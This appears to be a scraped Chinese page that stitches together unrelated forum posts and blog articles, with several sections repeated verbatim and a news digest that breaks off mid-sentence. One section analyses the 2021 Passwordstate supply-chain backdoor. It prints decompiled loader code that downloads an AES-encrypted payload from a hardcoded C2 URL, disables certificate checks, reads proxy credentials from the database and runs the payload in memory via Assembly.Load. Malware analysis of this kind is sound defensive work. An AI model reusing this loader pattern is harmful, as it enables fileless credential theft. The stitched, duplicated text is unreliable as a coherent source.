【夜猫徽章:凌晨 2 点后 6 点前发布的帖子数达到 5 篇】是不是我挂了 VPN 的原因?实际发贴都是在 UTC+8 时区
如果是 VPN 的原因,是否可以在 Profile 维护一下用户时区,按照用户自己的时区来计算一些权益。
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
如果是 VPN 的原因,是否可以在 Profile 维护一下用户时区,按照用户自己的时区来计算一些权益。
目前大号在阿根廷,小号在国区,以前去阿根廷是为了低价,但是现在都是美元结算,已经没有低价优势了,反而付款很麻烦,想问问大家现在都是在什么区?
想找一个付款方便,各种游戏都能买的区。国区很多游戏没有,阿根廷买礼品卡汇损心疼。
2021年4月,企业密码管理软件 Passwordstate 遭遇供应链攻击,攻击者入侵了官方升级服务器,在更新包中植入后门。最近拿到了当时的恶意样本,来分析一下这个后门是怎么藏的、怎么工作的。
先用 Exeinfo PE 扫一眼:

文件名: 1.dll
类型: 32-bit .NET DLL
混淆: DeepSea Obfuscator v4
虽然有混淆,但 .NET 程序直接用 dnSpy 打开还是能看的。加载进去看到这样的结构:

Moserware.SecretSplitter (0.12.0.0)
├── Loader
│ ├── Container
│ └── Loader
└── Moserware
├── Algebra
├── Numerics
└── Security.Cryptography
看起来是个实现 Shamir 秘密共享算法的开源库,GitHub 上能搜到原版。但是多了个 Loader 目录...这就有意思了。
翻了翻代码,在 Moserware.Security.Cryptography.Diffuser 这个类里发现了猫腻:

Public MustInherit Class Diffuser
Protected Sub New()
Container.Running(
"https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip",
"f4f15dddc3ba10dd443493a2a8a526b0",
7200000,
"Agent.Agent",
"Invoke"
)
End Sub
End Class
好家伙,构造函数里直接调用了 Container.Running(),传了一堆参数进去。
这意味着只要有任何代码 new 了一个继承 Diffuser 的类,后门就会被触发。而 Diffuser 是个抽象基类,下面有好几个子类在用,触发条件太容易满足了。
作者选择把恶意代码藏在构造函数里,而不是静态构造函数,说明他不想在程序集加载时就暴露,而是等到真正使用加密功能时才激活。很狡猾。
跟进 Loader.Container 类,这才是重头戏。

If Process.GetCurrentProcess().ProcessName.Equals("Passwordstate", StringComparison.OrdinalIgnoreCase) Then
' 只在目标进程中执行
End If
只有当宿主进程名是 Passwordstate 时才会激活。这是一款商业密码管理软件,看来这个后门是专门针对它的供应链攻击。
在沙箱或者分析环境里跑这个 DLL?抱歉,啥也不干,直接装死。这招能绕过很多自动化分析。

Private Shared Function [Get](u As String, ...) As Byte()
' 禁用证书验证,方便中间人
ServicePointManager.ServerCertificateValidationCallback = Function(...) True
' 伪装成 Chrome 浏览器
httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."
几个关键点:

Private Shared Function AESDecrypt(B64 As String, Key As String) As Byte()
Return New RijndaelManaged() With {
.Key = Encoding.UTF8.GetBytes(Key),
.Mode = CipherMode.ECB,
.Padding = PaddingMode.PKCS7
}.CreateDecryptor().TransformFinalBlock(...)
End Function
从 C2 下载的内容是 Base64 编码的 AES 密文,密钥是硬编码的:
f4f15dddc3ba10dd443493a2a8a526b0
用的 ECB 模式,虽然不安全,但对于加载 payload 来说够用了。
翻代码的时候还发现个有意思的函数 GetProxyInfo:

Dim cmdText As String = "SELECT ProxyServer, ProxyUserName, ProxyPassword FROM [SystemSettings]"
后门会尝试从 Passwordstate 的数据库里偷代理配置。如果目标网络需要代理才能出网,后门会自动适配。想得真周到啊...
而且解密代理密码用的是 Passwordstate 自己的解密函数:
assembly.[GetType]("PasswordstateService.Passwordstate.Crypto").GetMethod("AES_Decrypt", ...)
借刀杀人,妙啊。
最后看看 Loader.Loader 类,负责执行下载的 payload:
}}
Private Sub ThreadFunc()
Assembly.Load(Me.assemblyData) _
.[GetType](Me.assemblyType) _
.GetMethod(Me.assemblyMethod) _
.Invoke(Nothing, Nothing)
End Sub
经典的无文件攻击:
Assembly.Load() 直接从内存加载程序集根据硬编码的参数,它会执行 Agent.Agent.Invoke()。整个过程不落地文件,杀软很难检测。
Passwordstate 启动
|
v
加载 Moserware.SecretSplitter.dll
|
v
使用加密功能 -> 实例化 Diffuser 子类
|
v
触发构造函数 -> Container.Running()
|
v
检测进程名 == "Passwordstate" ?
|
YES
v
下载 https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
|
v
AES 解密 (Key: f4f15dddc3ba10dd443493a2a8a526b0)
|
v
Assembly.Load() 内存加载
|
v
反射调用 Agent.Agent.Invoke()
|
v
每 2 小时循环检查更新
后门中硬编码的回连地址:
https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
拆解一下这个域名:
| 组成部分 | 说明 |
|---|---|
passwordstate |
伪装成目标软件的官方域名 |
18ed2 |
随机字符串,可能用于区分不同攻击批次 |
kxcdn.com |
KeyCDN 的 CDN 域名 |
攻击者用 CDN 来托管恶意 payload 有几个好处:
这个样本来自 2021 年 4 月的 Passwordstate 供应链攻击事件:
攻击者把后门代码注入到了合法的开源库 Moserware.SecretSplitter 中,然后通过官方升级渠道推送给用户。在那28小时内执行过升级的用户,都中招了。
网络指标:
域名: passwordstate-18ed2.kxcdn.com
URL: https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
加密密钥:
AES Key: f4f15dddc3ba10dd443493a2a8a526b0
行为特征:
PasswordstateSELECT ... FROM [SystemSettings]Assembly.Load() + 反射执行2021年4月,企业密码管理软件 Passwordstate 遭遇供应链攻击,攻击者入侵了官方升级服务器,在更新包中植入后门。最近拿到了当时的恶意样本,来分析一下这个后门是怎么藏的、怎么工作的。
先用 Exeinfo PE 扫一眼:

文件名: 1.dll
类型: 32-bit .NET DLL
混淆: DeepSea Obfuscator v4
虽然有混淆,但 .NET 程序直接用 dnSpy 打开还是能看的。加载进去看到这样的结构:

Moserware.SecretSplitter (0.12.0.0)
├── Loader
│ ├── Container
│ └── Loader
└── Moserware
├── Algebra
├── Numerics
└── Security.Cryptography
看起来是个实现 Shamir 秘密共享算法的开源库,GitHub 上能搜到原版。但是多了个 Loader 目录...这就有意思了。
翻了翻代码,在 Moserware.Security.Cryptography.Diffuser 这个类里发现了猫腻:

Public MustInherit Class Diffuser
Protected Sub New()
Container.Running(
"https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip",
"f4f15dddc3ba10dd443493a2a8a526b0",
7200000,
"Agent.Agent",
"Invoke"
)
End Sub
End Class
好家伙,构造函数里直接调用了 Container.Running(),传了一堆参数进去。
这意味着只要有任何代码 new 了一个继承 Diffuser 的类,后门就会被触发。而 Diffuser 是个抽象基类,下面有好几个子类在用,触发条件太容易满足了。
作者选择把恶意代码藏在构造函数里,而不是静态构造函数,说明他不想在程序集加载时就暴露,而是等到真正使用加密功能时才激活。很狡猾。
跟进 Loader.Container 类,这才是重头戏。

If Process.GetCurrentProcess().ProcessName.Equals("Passwordstate", StringComparison.OrdinalIgnoreCase) Then
' 只在目标进程中执行
End If
只有当宿主进程名是 Passwordstate 时才会激活。这是一款商业密码管理软件,看来这个后门是专门针对它的供应链攻击。
在沙箱或者分析环境里跑这个 DLL?抱歉,啥也不干,直接装死。这招能绕过很多自动化分析。

Private Shared Function [Get](u As String, ...) As Byte()
' 禁用证书验证,方便中间人
ServicePointManager.ServerCertificateValidationCallback = Function(...) True
' 伪装成 Chrome 浏览器
httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."
几个关键点:

Private Shared Function AESDecrypt(B64 As String, Key As String) As Byte()
Return New RijndaelManaged() With {
.Key = Encoding.UTF8.GetBytes(Key),
.Mode = CipherMode.ECB,
.Padding = PaddingMode.PKCS7
}.CreateDecryptor().TransformFinalBlock(...)
End Function
从 C2 下载的内容是 Base64 编码的 AES 密文,密钥是硬编码的:
f4f15dddc3ba10dd443493a2a8a526b0
用的 ECB 模式,虽然不安全,但对于加载 payload 来说够用了。
翻代码的时候还发现个有意思的函数 GetProxyInfo:

Dim cmdText As String = "SELECT ProxyServer, ProxyUserName, ProxyPassword FROM [SystemSettings]"
后门会尝试从 Passwordstate 的数据库里偷代理配置。如果目标网络需要代理才能出网,后门会自动适配。想得真周到啊...
而且解密代理密码用的是 Passwordstate 自己的解密函数:
assembly.[GetType]("PasswordstateService.Passwordstate.Crypto").GetMethod("AES_Decrypt", ...)
借刀杀人,妙啊。
最后看看 Loader.Loader 类,负责执行下载的 payload:
}}
Private Sub ThreadFunc()
Assembly.Load(Me.assemblyData) _
.[GetType](Me.assemblyType) _
.GetMethod(Me.assemblyMethod) _
.Invoke(Nothing, Nothing)
End Sub
经典的无文件攻击:
Assembly.Load() 直接从内存加载程序集根据硬编码的参数,它会执行 Agent.Agent.Invoke()。整个过程不落地文件,杀软很难检测。
Passwordstate 启动
|
v
加载 Moserware.SecretSplitter.dll
|
v
使用加密功能 -> 实例化 Diffuser 子类
|
v
触发构造函数 -> Container.Running()
|
v
检测进程名 == "Passwordstate" ?
|
YES
v
下载 https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
|
v
AES 解密 (Key: f4f15dddc3ba10dd443493a2a8a526b0)
|
v
Assembly.Load() 内存加载
|
v
反射调用 Agent.Agent.Invoke()
|
v
每 2 小时循环检查更新
后门中硬编码的回连地址:
https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
拆解一下这个域名:
| 组成部分 | 说明 |
|---|---|
passwordstate |
伪装成目标软件的官方域名 |
18ed2 |
随机字符串,可能用于区分不同攻击批次 |
kxcdn.com |
KeyCDN 的 CDN 域名 |
攻击者用 CDN 来托管恶意 payload 有几个好处:
这个样本来自 2021 年 4 月的 Passwordstate 供应链攻击事件:
攻击者把后门代码注入到了合法的开源库 Moserware.SecretSplitter 中,然后通过官方升级渠道推送给用户。在那28小时内执行过升级的用户,都中招了。
网络指标:
域名: passwordstate-18ed2.kxcdn.com
URL: https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
加密密钥:
AES Key: f4f15dddc3ba10dd443493a2a8a526b0
行为特征:
PasswordstateSELECT ... FROM [SystemSettings]Assembly.Load() + 反射执行春节长假对于开发者来说,是难得的黄金时间。你可能计划着把那个拖了很久的 Side Project 填完坑,或者把现有的个人站做一次性能优化。 过去,我们部署个人项目通常是“云服务器 + Nginx”或者直接托管在静态服务上。但在 2026 年,随着边缘计算的普及,我们有了更高效的选择——阿里云ESA(Edge Security Acceleration,边缘安全加速)。 很多开发者问我们:“ESA 和普通 CDN 到底有啥区别?”简单来说:CDN 是搬运工,ESA 是在边缘节点装了大脑和盾牌。 今天分享三个 ESA 的具体实战场景,看看能不能给你的春节开发计划提供一点灵感。 你写了一个面向全球用户的工具站,服务器买在杭州。结果美国的朋友打开页面要转圈 3 秒,静态资源加载缓慢,TTFB 惨不忍睹。 不仅仅是简单的静态资源缓存,ESA 的核心能力在于动态路径优化。 在 ESA 控制台一键开启 HTTP/3。QUIC 协议基于 UDP,彻底解决了 TCP 的队头阻塞问题。在弱网环境(比如跨洋线路丢包率较高时),它能让页面加载速度提升 30% 以上。 从洛杉矶访问杭州源站,RTT平均降低 40%~60%。 刚把博客发到 Hacker News 或掘金,流量来了,攻击也来了。恶意爬虫疯狂消耗流量,甚至有突发的 CC 攻击把小水管服务器打挂。买专业 WAF 太贵,裸奔又不放心。 ESA 将安全能力下沉到了边缘。这意味着攻击流量根本不需要到达你的源站,在边缘节点就被清洗掉了。 ESA 内置了针对常见 Web 攻击的规则集,打开开关即可生效。 你可以写一条简单的规则: 保护了源站不仅是不被打挂,更重要的是省钱——被拦截的恶意请求不会消耗你的源站带宽和计算资源。 只是想做一个简单的功能(比如根据用户地区跳转不同语言页面、给图片加水印、鉴权),为此专门维护一台服务器太重,用云函数又有冷启动问题。 ESA 允许你在边缘节点直接运行 JavaScript 代码。 代码在全球 3200+ 节点运行,用户访问时在最近的节点立刻执行逻辑,毫秒级响应,且无需运维服务器。 技术的价值在于落地,而为了让各位开发者能以最低成本验证上述的场景方案,阿里云ESA特别推出了「春节加速计划」——您只需要邀请好友体验ESA基础版,即可获得ESA通用代金券,点击活动页面即可了解详情。 技术在不断演进,工具也在不断升级。利用这个假期,把你的项目迁移到 ESA,体验一下“边缘”的速度,顺便为明年的云资源储备一份充足的“弹药”,何乐而不为? 祝大家代码无 Bug,上线不回滚,新春快乐!前言:趁着假期,给你的项目做一次架构升级
🛠️场景一:独立出海开发者——解决跨境延迟焦虑
1. 痛点
2. ESA 解决方案:全链路 HTTP/3 + 智能路由
开启 HTTP/3 (QUIC)
配置动静分离
3. 实测效果
🛡️ 场景二:技术博主/站长——低成本防御 CC 攻击与爬虫
1. 痛点
2. ESA 解决方案:边缘 WAF + 频次控制
一键开启基础防护
配置自定义频次控制
3. 价值
💻 场景三:极客玩法——Edge Routine 边缘 Serverless
1. 痛点
2. ESA 解决方案:Edge Routine
3. 优势
春节长假对于开发者来说,是难得的黄金时间。你可能计划着把那个拖了很久的 Side Project 填完坑,或者把现有的个人站做一次性能优化。 过去,我们部署个人项目通常是“云服务器 + Nginx”或者直接托管在静态服务上。但在 2026 年,随着边缘计算的普及,我们有了更高效的选择——阿里云ESA(Edge Security Acceleration,边缘安全加速)。 很多开发者问我们:“ESA 和普通 CDN 到底有啥区别?”简单来说:CDN 是搬运工,ESA 是在边缘节点装了大脑和盾牌。 今天分享三个 ESA 的具体实战场景,看看能不能给你的春节开发计划提供一点灵感。 你写了一个面向全球用户的工具站,服务器买在杭州。结果美国的朋友打开页面要转圈 3 秒,静态资源加载缓慢,TTFB 惨不忍睹。 不仅仅是简单的静态资源缓存,ESA 的核心能力在于动态路径优化。 在 ESA 控制台一键开启 HTTP/3。QUIC 协议基于 UDP,彻底解决了 TCP 的队头阻塞问题。在弱网环境(比如跨洋线路丢包率较高时),它能让页面加载速度提升 30% 以上。 从洛杉矶访问杭州源站,RTT平均降低 40%~60%。 刚把博客发到 Hacker News 或掘金,流量来了,攻击也来了。恶意爬虫疯狂消耗流量,甚至有突发的 CC 攻击把小水管服务器打挂。买专业 WAF 太贵,裸奔又不放心。 ESA 将安全能力下沉到了边缘。这意味着攻击流量根本不需要到达你的源站,在边缘节点就被清洗掉了。 ESA 内置了针对常见 Web 攻击的规则集,打开开关即可生效。 你可以写一条简单的规则: 保护了源站不仅是不被打挂,更重要的是省钱——被拦截的恶意请求不会消耗你的源站带宽和计算资源。 只是想做一个简单的功能(比如根据用户地区跳转不同语言页面、给图片加水印、鉴权),为此专门维护一台服务器太重,用云函数又有冷启动问题。 ESA 允许你在边缘节点直接运行 JavaScript 代码。 代码在全球 3200+ 节点运行,用户访问时在最近的节点立刻执行逻辑,毫秒级响应,且无需运维服务器。 技术的价值在于落地,而为了让各位开发者能以最低成本验证上述的场景方案,阿里云ESA特别推出了「春节加速计划」——您只需要邀请好友体验ESA基础版,即可获得ESA通用代金券,点击活动页面即可了解详情。 技术在不断演进,工具也在不断升级。利用这个假期,把你的项目迁移到 ESA,体验一下“边缘”的速度,顺便为明年的云资源储备一份充足的“弹药”,何乐而不为? 祝大家代码无 Bug,上线不回滚,新春快乐!前言:趁着假期,给你的项目做一次架构升级
🛠️场景一:独立出海开发者——解决跨境延迟焦虑
1. 痛点
2. ESA 解决方案:全链路 HTTP/3 + 智能路由
开启 HTTP/3 (QUIC)
配置动静分离
3. 实测效果
🛡️ 场景二:技术博主/站长——低成本防御 CC 攻击与爬虫
1. 痛点
2. ESA 解决方案:边缘 WAF + 频次控制
一键开启基础防护
配置自定义频次控制
3. 价值
💻 场景三:极客玩法——Edge Routine 边缘 Serverless
1. 痛点
2. ESA 解决方案:Edge Routine
3. 优势
前端开发这几年,localStorage 和 sessionStorage 用得最多,cookie 偶尔也要打打交道。但说到 IndexedDB,很多人的反应是:“听说过,但没用过。” 今天聊聊这个被低估的浏览器内置数据库。 先看个实际场景。朋友公司做电商后台,产品经理要求:“能不能在列表页缓存 5000 条商品数据,让筛选和搜索快一点?” 第一版用 localStorage: 上线后用户反馈:“筛选时浏览器像卡住了一样。” 问题在哪?localStorage 有硬伤: 简单说,它是浏览器里的 NoSQL 数据库。2011 年就出现了,但很多人不知道或觉得“用不上”。 几个关键特点: 如果你没用过,先看看基本用法: 这是 IndexedDB 真正厉害的地方。同样的 5000 条商品数据,查询完全不同: 你可以创建多个索引,实现各种复杂查询: 什么情况下该考虑 IndexedDB? 邮件客户端、文档编辑器、笔记应用。数据先存本地,有网再同步。 电商商品目录、大量配置项、历史数据。替代接口频繁请求。 图片、PDF、音视频的本地缓存。不用每次都下载。 存档、配置、资源文件。支持离线游戏。 收集用户行为,批量上传。避免频繁网络请求。 原生 API 确实有点繁琐。推荐这些库: 先判断支持性,不支持就降级: 修改表结构需要升级版本: IndexedDB 虽好,但也不是万能: 记住:技术选型要看具体需求,不是越高级越好。 如果你从没用过 IndexedDB,可以从这些开始: 不需要一开始就大动干戈。找个合适的场景,先试试水。 IndexedDB 在前端领域存在感不强,可能因为它解决的问题不是每个项目都会遇到。但当你真的需要处理大量客户端数据时,它会是个很好的选择。 技术没有绝对的好坏,只有合适与否。知道它的存在,了解它的能力,当合适的需求出现时,你就能做出更好的选择。 看完有点兴趣了?可以在个人项目里试试 IndexedDB,遇到问题欢迎交流。如果你已经在用,有什么经验或踩坑故事?评论区聊聊。 本文由mdnice多平台发布一、为什么需要另一个存储方案?
// 存储
localStorage.setItem('products', JSON.stringify(products)) // 5000条数据,页面卡了2秒
// 搜索
const keyword = '手机'
const allProducts = JSON.parse(localStorage.getItem('products')) // 又卡1秒
const results = allProducts.filter(p => p.name.includes(keyword)) // 遍历5000次二、IndexedDB 是什么?
三、一个简单示例
// 1. 打开数据库
const request = indexedDB.open('myDB', 1)
// 2. 创建表结构(第一次或升级时)
request.onupgradeneeded = function(event) {
const db = event.target.result
// 创建对象存储(类似表)
const store = db.createObjectStore('products', {
keyPath: 'id', // 主键
autoIncrement: true // 自动生成ID
})
// 创建索引(加速查询的关键)
store.createIndex('name', 'name') // 按名称查
store.createIndex('price', 'price') // 按价格查
store.createIndex('category', 'category') // 按分类查
}
// 3. 数据库就绪
request.onsuccess = function(event) {
const db = event.target.result
console.log('数据库已就绪')
}四、核心优势:查询性能
// 用索引查,不需要遍历所有数据
async function searchProducts(keyword) {
const transaction = db.transaction(['products'], 'readonly')
const store = transaction.objectStore('products')
const index = store.index('name') // 使用索引
// 只搜索相关范围
const range = IDBKeyRange.bound(keyword, keyword + '\uffff')
const request = index.openCursor(range)
return new Promise((resolve) => {
const results = []
request.onsuccess = function(event) {
const cursor = event.target.result
if (cursor) {
results.push(cursor.value)
cursor.continue() // 继续下一个
} else {
resolve(results) // 搜索完成
}
}
})
}
// 毫秒级响应,不卡页面
const results = await searchProducts('手机')五、适用场景
1. 离线应用
2. 大数据缓存
3. 文件管理
4. 游戏数据
5. 分析数据
六、实用建议
1. 用封装库简化开发
// 用 idb 库(推荐)
import { openDB } from 'idb'
const db = await openDB('my-db', 1, {
upgrade(db) {
db.createObjectStore('products')
}
})
// 操作简单多了
await db.add('products', { name: '商品1', price: 100 })
const products = await db.getAll('products')2. 渐进增强
function getStorage() {
if ('indexedDB' in window) {
return {
type: 'indexedDB',
save: saveToIndexedDB,
load: loadFromIndexedDB
}
} else {
console.log('降级到 localStorage')
return {
type: 'localStorage',
save: saveToLocalStorage,
load: loadFromLocalStorage
}
}
}3. 注意版本迁移
const request = indexedDB.open('myDB', 2) // 版本号+1
request.onupgradeneeded = function(event) {
const db = event.target.result
const oldVersion = event.oldVersion
if (oldVersion < 1) {
// 初始版本逻辑
}
if (oldVersion < 2) {
// 版本2的升级逻辑
// 比如添加新索引
const store = event.currentTarget.transaction.objectStore('products')
store.createIndex('createdAt', 'createdAt')
}
}七、什么时候不用?
八、开始尝试
写在最后
前端开发这几年,localStorage 和 sessionStorage 用得最多,cookie 偶尔也要打打交道。但说到 IndexedDB,很多人的反应是:“听说过,但没用过。” 今天聊聊这个被低估的浏览器内置数据库。 先看个实际场景。朋友公司做电商后台,产品经理要求:“能不能在列表页缓存 5000 条商品数据,让筛选和搜索快一点?” 第一版用 localStorage: 上线后用户反馈:“筛选时浏览器像卡住了一样。” 问题在哪?localStorage 有硬伤: 简单说,它是浏览器里的 NoSQL 数据库。2011 年就出现了,但很多人不知道或觉得“用不上”。 几个关键特点: 如果你没用过,先看看基本用法: 这是 IndexedDB 真正厉害的地方。同样的 5000 条商品数据,查询完全不同: 你可以创建多个索引,实现各种复杂查询: 什么情况下该考虑 IndexedDB? 邮件客户端、文档编辑器、笔记应用。数据先存本地,有网再同步。 电商商品目录、大量配置项、历史数据。替代接口频繁请求。 图片、PDF、音视频的本地缓存。不用每次都下载。 存档、配置、资源文件。支持离线游戏。 收集用户行为,批量上传。避免频繁网络请求。 原生 API 确实有点繁琐。推荐这些库: 先判断支持性,不支持就降级: 修改表结构需要升级版本: IndexedDB 虽好,但也不是万能: 记住:技术选型要看具体需求,不是越高级越好。 如果你从没用过 IndexedDB,可以从这些开始: 不需要一开始就大动干戈。找个合适的场景,先试试水。 IndexedDB 在前端领域存在感不强,可能因为它解决的问题不是每个项目都会遇到。但当你真的需要处理大量客户端数据时,它会是个很好的选择。 技术没有绝对的好坏,只有合适与否。知道它的存在,了解它的能力,当合适的需求出现时,你就能做出更好的选择。 看完有点兴趣了?可以在个人项目里试试 IndexedDB,遇到问题欢迎交流。如果你已经在用,有什么经验或踩坑故事?评论区聊聊。 本文由mdnice多平台发布一、为什么需要另一个存储方案?
// 存储
localStorage.setItem('products', JSON.stringify(products)) // 5000条数据,页面卡了2秒
// 搜索
const keyword = '手机'
const allProducts = JSON.parse(localStorage.getItem('products')) // 又卡1秒
const results = allProducts.filter(p => p.name.includes(keyword)) // 遍历5000次二、IndexedDB 是什么?
三、一个简单示例
// 1. 打开数据库
const request = indexedDB.open('myDB', 1)
// 2. 创建表结构(第一次或升级时)
request.onupgradeneeded = function(event) {
const db = event.target.result
// 创建对象存储(类似表)
const store = db.createObjectStore('products', {
keyPath: 'id', // 主键
autoIncrement: true // 自动生成ID
})
// 创建索引(加速查询的关键)
store.createIndex('name', 'name') // 按名称查
store.createIndex('price', 'price') // 按价格查
store.createIndex('category', 'category') // 按分类查
}
// 3. 数据库就绪
request.onsuccess = function(event) {
const db = event.target.result
console.log('数据库已就绪')
}四、核心优势:查询性能
// 用索引查,不需要遍历所有数据
async function searchProducts(keyword) {
const transaction = db.transaction(['products'], 'readonly')
const store = transaction.objectStore('products')
const index = store.index('name') // 使用索引
// 只搜索相关范围
const range = IDBKeyRange.bound(keyword, keyword + '\uffff')
const request = index.openCursor(range)
return new Promise((resolve) => {
const results = []
request.onsuccess = function(event) {
const cursor = event.target.result
if (cursor) {
results.push(cursor.value)
cursor.continue() // 继续下一个
} else {
resolve(results) // 搜索完成
}
}
})
}
// 毫秒级响应,不卡页面
const results = await searchProducts('手机')五、适用场景
1. 离线应用
2. 大数据缓存
3. 文件管理
4. 游戏数据
5. 分析数据
六、实用建议
1. 用封装库简化开发
// 用 idb 库(推荐)
import { openDB } from 'idb'
const db = await openDB('my-db', 1, {
upgrade(db) {
db.createObjectStore('products')
}
})
// 操作简单多了
await db.add('products', { name: '商品1', price: 100 })
const products = await db.getAll('products')2. 渐进增强
function getStorage() {
if ('indexedDB' in window) {
return {
type: 'indexedDB',
save: saveToIndexedDB,
load: loadFromIndexedDB
}
} else {
console.log('降级到 localStorage')
return {
type: 'localStorage',
save: saveToLocalStorage,
load: loadFromLocalStorage
}
}
}3. 注意版本迁移
const request = indexedDB.open('myDB', 2) // 版本号+1
request.onupgradeneeded = function(event) {
const db = event.target.result
const oldVersion = event.oldVersion
if (oldVersion < 1) {
// 初始版本逻辑
}
if (oldVersion < 2) {
// 版本2的升级逻辑
// 比如添加新索引
const store = event.currentTarget.transaction.objectStore('products')
store.createIndex('createdAt', 'createdAt')
}
}七、什么时候不用?
八、开始尝试
写在最后
在大家反馈与测试下,最近花了很多时间和精力已经把我的日志分析工具迭代到 V1.6.12 版本了,加了不少新功能,修复了很多问题,同时也对页面样式细节做了很多调整。
目前也算是趋于稳定了,29 天前这个工具刚做出来的时候还只支持 nginx 的日志解析支持,现在已经支持了:
对移动端做了兼容处理,同时也添加了对 PWA 的支持,可以做到从手机的桌面快速查看你站点的访问情况,为了适配移动端的展示,也做了底部导航栏出来。

有一部分用户在部署的时候,没有条件做子域名,需要部署在当前已有站点,通过二级路径的形式访问,为了满足这一需求我在 UI 配置面板中直接做了快捷配置,简单输入,点保存即可实现此功能。




至此,文章就分享完毕了。
我是神奇的程序员,一位前端开发工程师。
如果你对我感兴趣,请移步我的个人网站,进一步了解。
在大家反馈与测试下,最近花了很多时间和精力已经把我的日志分析工具迭代到 V1.6.12 版本了,加了不少新功能,修复了很多问题,同时也对页面样式细节做了很多调整。
目前也算是趋于稳定了,29 天前这个工具刚做出来的时候还只支持 nginx 的日志解析支持,现在已经支持了:
对移动端做了兼容处理,同时也添加了对 PWA 的支持,可以做到从手机的桌面快速查看你站点的访问情况,为了适配移动端的展示,也做了底部导航栏出来。

有一部分用户在部署的时候,没有条件做子域名,需要部署在当前已有站点,通过二级路径的形式访问,为了满足这一需求我在 UI 配置面板中直接做了快捷配置,简单输入,点保存即可实现此功能。




至此,文章就分享完毕了。
我是神奇的程序员,一位前端开发工程师。
如果你对我感兴趣,请移步我的个人网站,进一步了解。
突然想到北方寒冷时候,候鸟南飞,等北方夏天,候鸟又回来了?那它为啥不一直在物产丰富的南方?又想了一下,难道这个南方不是狭义的中国南方?鸟是去了南半球了?
什么时候我们用洋人的聊天软件,洋人用我们的聊天软件,世界就和谐了。
不过这个时代肯定没戏了,等下一个“iPhone”问世吧。
RT
过去几年,AI在制造业的落地总显得“雷声大、雨点小”。很多企业买了智能系统,却依然靠老师傅的经验拍板;数据堆得满山满谷,可决策还是慢半拍。问题不在技术本身,而在于AI始终停留在“工具”层面——它能算,但不懂为什么算;能执行,却无法理解背后的工艺逻辑与生产节奏。真正的变革,不是让机器更聪明,而是让系统能“思考”。工业智能体,正是这一转变的钥匙。它不是单一算法,也不是一个聊天机器人,而是一套能感知、能推理、能协同、能进化的数字生命体,它把数据、知识、执行能力熔铸成一个闭环,让工厂不再被动响应,而是主动预判。
要理解工业智能体的价值,必须跳出“AI=自动化”的浅层认知。它之所以能突破传统工业软件的断点,是因为它真正融合了工业Know-How与AI的底层能力。数据孤岛、工艺黑箱、知识沉淀难,这些长期困扰制造企业的顽疾,只有通过“感知—决策—规划—执行”的全链路闭环才能破解。这要求智能体不仅懂算法,更要懂设备振动背后的材料疲劳、懂订单波动背后的供应链韧性、懂排产冲突背后的产能瓶颈。它不是替代人,而是把人的经验封装成可复用的逻辑,让每个岗位都有一个“24小时在线的数字专家”。这种深度嵌入,才是工业智能体与通用大模型的本质区别。
在全球范围内,这一趋势正在加速。广域铭岛以汽车制造为起点,构建了覆盖“研产供销服”的超级智能体矩阵,其Geega平台通过数据标准化与知识封装,让原本零散的工艺规则变成AI可调用的“电子字典”。当某条产线突发振动异常,系统能在数秒内关联物料批次、温湿度、设备历史参数,自动调整参数并通知运维,整个过程无需人工介入。而在德国,西门子的MindSphere平台正通过数字孪生与AI协同,实现从订单到交付的全流程动态优化;美国通用电气的Predix系统则聚焦设备预测性维护,结合历史故障库与实时传感器数据,将非计划停机时间降低近40%。这些案例虽路径不同,但内核一致:工业智能体不是孤立的AI应用,而是企业运营体系的“神经中枢”。
广域铭岛的独特之处,在于它不追求“大而全”的模型参数,而是深耕一线场景。它不靠炫技吸引眼球,而是用60多家企业的真实反馈打磨每一个智能体——排产智能体15分钟完成传统需数小时的调度验证,仓储智能体提前48小时预警缺料风险。这种“小而精、快而准”的打法,让它的智能体真正“上岗”了。相比之下,一些国外平台虽技术先进,却常因脱离中国制造业的复杂性与多样性而水土不服。
当越来越多企业开始思考“AI该怎么用”,而不是“能不能用”,工业智能体就不再是一个技术概念,而是一场生产方式的革命。它让制造从经验驱动走向数据驱动,从局部优化走向全局协同。未来属于那些能把AI变成“员工”的企业,而不是那些只把AI当“软件”的企业。

开发者朋友们大家好: 这里是 「RTE 开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」,但内容仅代表编辑的个人观点,欢迎大家留言、跟帖、讨论。 本期编辑:@瓒an、@鲍勃 1、Agora 支撑 Whatnot 承载 MrBeast 直播:实现 1080p 画质下 58.3 万峰值并发 实时互动服务商 Agora(声网兄弟公司) 为 Whatnot 电商直播平台举办的 MrBeast 百万美金赠品活动提供技术支持。在 1080p 高清画质下,系统成功应对了 58.3 万的流量冲击,保障了大规模、高频互动的直播稳定性。 (@People、@Tubefilter、@MrBeast\@X) 2、字节跳动发布 Seedance 2.0:支持 12 路多模态参考,生成可用率提升至 90% 以上 字节跳动旗下视频生成模型「Seedance 2.0」正式上线即梦平台。该模型通过大幅提升生成稳定性与多模态控制精度,将视频生成从「随机抽卡」转变为「导演级控制」,直接导致视频制作的有效成本下降约 80%。 已在「即梦」平台上线,付费会员(最低 69 元/月)可直接使用。 (@极客公园) 3、Xmax AI 推出虚实融合实时交互视频模型 X1:破次元实际互动,毫秒级即时反馈 2026 年,随着生成式 AI 与端侧算力的同步成熟,虚拟内容正从「预制叠加」向「实时生成」跨越。初创公司 Xmax AI 近日推出全球首个虚实融合的实时交互视频模型 